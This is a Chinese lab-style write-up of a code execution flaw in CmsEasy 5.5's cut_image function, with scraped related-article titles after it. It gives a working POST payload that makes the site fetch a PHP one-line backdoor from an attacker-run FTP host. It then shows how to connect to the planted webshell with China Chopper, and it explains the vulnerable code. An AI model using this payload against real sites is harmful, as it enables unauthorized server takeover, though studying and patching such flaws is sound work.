CmsEasy 5.5 cut_image 代码执行漏洞
3 CmsEasy 5.5 cut_image 代码执行漏洞
3.1 摘要
3.1.1 漏洞介绍
- CmsEasy是一款基于PHP+MySQL架构的网站内容管理系统,可面向大中型站点提供重量级网站建设解决方案:拥有强大的内容发布模板自定义功能,可以通过模板自定义功能扩展出产品、新闻、招聘、下载等多种不同的内容发布及字段显示功能。可自定义网页标题、关键词、描述、URL路径等多种优化项,可自动推送内容至百度搜索引擎。全国首家内置推广联盟模块的企业网站系统,为企业在营销推广方面,提供了非常便捷的方法和功能。为广大用户提供更为安全、稳定、强大的微信公众好管理系统。拥有强大的内容发布木板自定义功能,可以通过模板自定义功能扩展出产品、新闻、招聘、下载等多种不同的内容发布及字段显示功能。
- CmsEasy5.5版本’cut_image_action’函数存在代码执行漏洞,远程攻击者可在未登录的情况下向服务器上传任意文件,执行任意代码,获取服务器权限。
3.1.2 漏洞环境
- 操作机:Windows XP
- 目标机:CentOS 6.5
3.1.3 实验工具
- CmsEasy5.5
- FTPserver.exe:一个小型的Ftp server软件
- 中国菜刀:一款专业的网站管理软件,只要支持动态脚本的网站,都可以用中国菜刀来进行管理。主要功能有:文件管理,虚拟终端,数据库管理。
3.2 漏洞复现
- 将构造好的图片木马复制c:\ftp目录下,用Notepad打开,查看图片内容,可以看到标识处,含有一句话代码菜刀连接密码为c。

- 将该图片文件名修改为
phpinfo.php,接下来利用该图片木马进行漏洞利用。 - 打开实验工具下载的FTP Server工具,请将该实验工具访问目录修改为c:\ftp,点击启动服务即可。

- 使用火狐浏览器打开目标界面http://www.test.ichunqiu 按F9调出hackbar工具,我们构造漏洞利用代码,访问URL为
http://www.test.ichunqiu/index.php?case=tool&act=cut_image点击Enable Post data打开POST窗口,注入以下测试内容,pic=1ftp://172.16.11.2/phpinfo.php&w=700&h=1120&x1=0&x2=700&y1=0&y2=1120

- 点击Execute提交,即可返回上传文件地址。

- 将上图返回的地址,复制到地址栏,(将/路径替换为/)访问。可以看到该文件访问成功,下面尝试使用中国菜刀连接该一句话木马。复制该地址。

- 运行中国菜刀
chopper.exe程序。 在程序窗口内,右键将地址粘贴,地址后面密码填写为c脚本类型选择为PHP,点击添加即可。

- 点击添加后可以看到该目录,增加一条记录,我们双击该条目,即可进入webshell目录管理界面

- 该漏洞利用成功
3.3 漏洞分析
该漏洞是因为CmsEasy5.5/lib/default/tool_act.php 392行的cut_image_action()函数出现问题。代码如下图所示

分析以上代码,可以发现保存文件名的生成,直接用了$_POST['pic'] 接受未经过任何安全防护的输入作为扩展名,应该就是这里导致Getshell。

这里需要可以绕过PHP图像处理的一句话木马,和本地搭建Ftp服务以绕过
file_exits()函数, PHP5.0以上即可支持file_exists()。代码如下所示,如果$_POST['pic']开头4个字符不是http的话,就认为是本站的文件,会从前面抽取base_url,返回文件相对路径。所以构造的时候,如果站点不是放在根目录,则需要补位strlen(base_url)+2 如果放在根目录 也需要补上1位('/'的长度)

构造的测试代码为:
post /index.php?case=tool&act=cut_image
pic=1ftp://localhost/test.php&w=700&h=1120$x1=0&x2=700%y1=0y2=1120
其中localhost=172.16.11.2,test.php=phpinfo.php
3.4 修复方案
- 更新到官方最新版本:http://www.cmseasy.cn/
CmsEasy 5.5 cut_image 代码执行漏洞的更多相关文章
- 【代码审计】CmsEasy_v5.7 代码执行漏洞分析
0x00 环境准备 CmsEasy官网:http://www.cmseasy.cn/ 网站源码版本:CmsEasy_v5.7_UTF8-0208 程序源码下载: http://ftp.cmseas ...
- Spring框架的反序列化远程代码执行漏洞分析(转)
欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...
- struts2最新s2-016代码执行漏洞CVE-2013-2251
这是一个代码执行漏洞,利用java代码来执行系统命令. 影响版本:Struts 2.0.0 – Struts 2.3.15 漏洞说明: The Struts 2 DefaultActionMa ...
- Discuz! x3.1的插件/utility/convert/index.php代码执行漏洞
漏洞版本: Discuz! x3.1及以下版本 漏洞描述: Discuz! x3.1的插件/utility/convert/index.php存在代码执行漏洞,如果用户在使用完之后不删除,会导致网站容 ...
- WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞
漏洞名称: WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞 CNNVD编号: CNNVD-201310-195 发布时间: ...
- Apache Struts 远程代码执行漏洞(CVE-2013-4316)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...
- MongoDB ‘conn’Mongo 对象远程代码执行漏洞
漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...
- Struts2再爆远程代码执行漏洞
Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction ...
随机推荐
- HDU 6008 - Worried School
Worried School Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) T ...
- GUID Partition Table (GPT)
https://en.wikipedia.org/wiki/GUID_Partition_Table https://zh.wikipedia.org/wiki/全局唯一标识分区表 GUID Part ...
- iOS-绘图之CoreGraphics框架
第一步:先科普一下基础知识: Core Graphics是基于C的API,可以用于一切绘图操作 Core Graphics 和Quartz 2D的区别 quartz是一个通用的术语,用于描述在iOS和 ...
- ArcGIS Server 服务器日志(待修改)
有时遇到服务相关错误,需要查看日志来排查,这里简单写下日志相关操作. 服务器日志:http://resources.arcgis.com/zh-cn/help/main/10.2/index.html ...
- 优云亮相GOPS2017全球运维大会 “黑科技”获全场最高关注
2017年4月21日,GOPS――2017全球运维大会于深圳・圣淘沙酒店拉开帷幕.GOPS全球运维大会由高效运维社区(GreatOPS)和开放运维联盟(OOPSA)联合主办,由工信部信通院数据中心联盟 ...
- 多作者wordpress博客彻底屏蔽可视化编辑
如果你的wordpress博客支持多作者,但是难免有些作者会加入过多的链接,怎么办呢?可以考虑屏蔽可视化编辑 在 functions.php 添加如下代码即可: add_filter('user_ca ...
- 给JSON中put的value=null时,这对key=value会被隐藏掉。
当我们在JSON里像这样json.put("key",null);put值进去的话,这个键值对就会被隐藏掉例如下面的例子: <pre name="code" ...
- easyUI的datebox添加清空按钮功能
需要修改源码: 第一步:按下图修改 第二步:按下两图修改(*zh_CN.js)
- soapUI-Properties
1.1.1 Properties 1.1.1.1 概述 - Properties Option Description Toolbar 属性TestStep工具栏 Properties Li ...
- 集成树模型使用自动搜索模块GridSearchCV,stacking
一. GridSearchCV参数介绍 导入模块: from sklearn.model_selection import GridSearchCV GridSearchCV 称为网格搜索交叉验证调参 ...